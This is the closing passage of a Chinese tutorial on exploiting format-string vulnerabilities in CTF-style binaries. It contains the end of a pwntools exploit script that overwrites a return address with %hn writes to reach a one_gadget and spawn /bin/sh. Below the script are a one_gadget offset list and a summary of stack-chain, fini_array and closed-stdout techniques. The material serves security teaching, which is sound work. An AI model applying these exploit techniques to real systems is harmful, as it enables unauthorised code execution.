log.success('onegadget => {}'.format(hex(onegadget)))

payload='%'+str(ret_addr&0xffff)+'c%22$hn'
#gdb.attach(io)
io.sendlineafter("Try again!\n", payload)
payload='%'+str(onegadget&0xffff)+'c%59$hn'

io.sendlineafter("Try again!\n", payload)
payload='%'+str((ret_addr+2)&0xff)+'c%22$hhn'
io.sendlineafter("Try again!\n", payload)
payload='%'+str((onegadget>>16)&0xffff)+'c%59$hhn'

io.sendlineafter("Try again!\n", payload)
io.sendlineafter("Try again!\n", 'wllmmllw')
io.interactive()
'''
0x3d0d3 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x3d0d5 execve("/bin/sh", esp+0x38, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x38] == NULL

0x3d0d9 execve("/bin/sh", esp+0x3c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x3c] == NULL

0x3d0e0 execve("/bin/sh", esp+0x40, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x40] == NULL

0x67a7f execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x67a80 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

0x137e5e execl("/bin/sh", eax)
constraints:
  ebx is the GOT address of libc
  eax == NULL

0x137e5f execl("/bin/sh", [esp])
constraints:
  ebx is the GOT address of libc
  [esp] == NULL


'''

 

0x7.总结

总的来说,栈上的格式化字符串漏洞,可以直接写地址修改,缓冲区长度够的话就一次写一字节,长度不够就一次两字节写;bss段的格式化字符串,需要在栈中找栈链,栈0->栈1->栈2->值,然后修改栈2指向printf函数的返回地址或者main函数的地址,然后就可以修改返回地址为onegadget了;还有堆中的格式化字符串,实际上和bss段的没有区别,也是改栈链;如果程序只有有限次printf机会,如果有fini_array的真实地址,就可以修改fini_array中的值为mian函数的地址,以此来重复利用;标准输出流stdout被关闭了依然可以写数据,只不过没有回显了,想要重新输出的话可以将stdout结构体的fileno成员设置为2或者0,也可以通过修改stderr的值为onegadget来getshell。

本文由星盟安全团队原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/222623

安全客 - 有思想的安全新媒体

分享到:微信
+18赞
收藏
星盟安全团队
分享到:微信

发表评论

星盟安全团队

星盟安全团队---"VENI VIDI VICI"(我来,我见,我征服),我们的征途是星辰大海。从事各类安全研究,专注于知识分享。

  • 文章
  • 19
  • 粉丝
  • 47

TA的文章

热门推荐

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66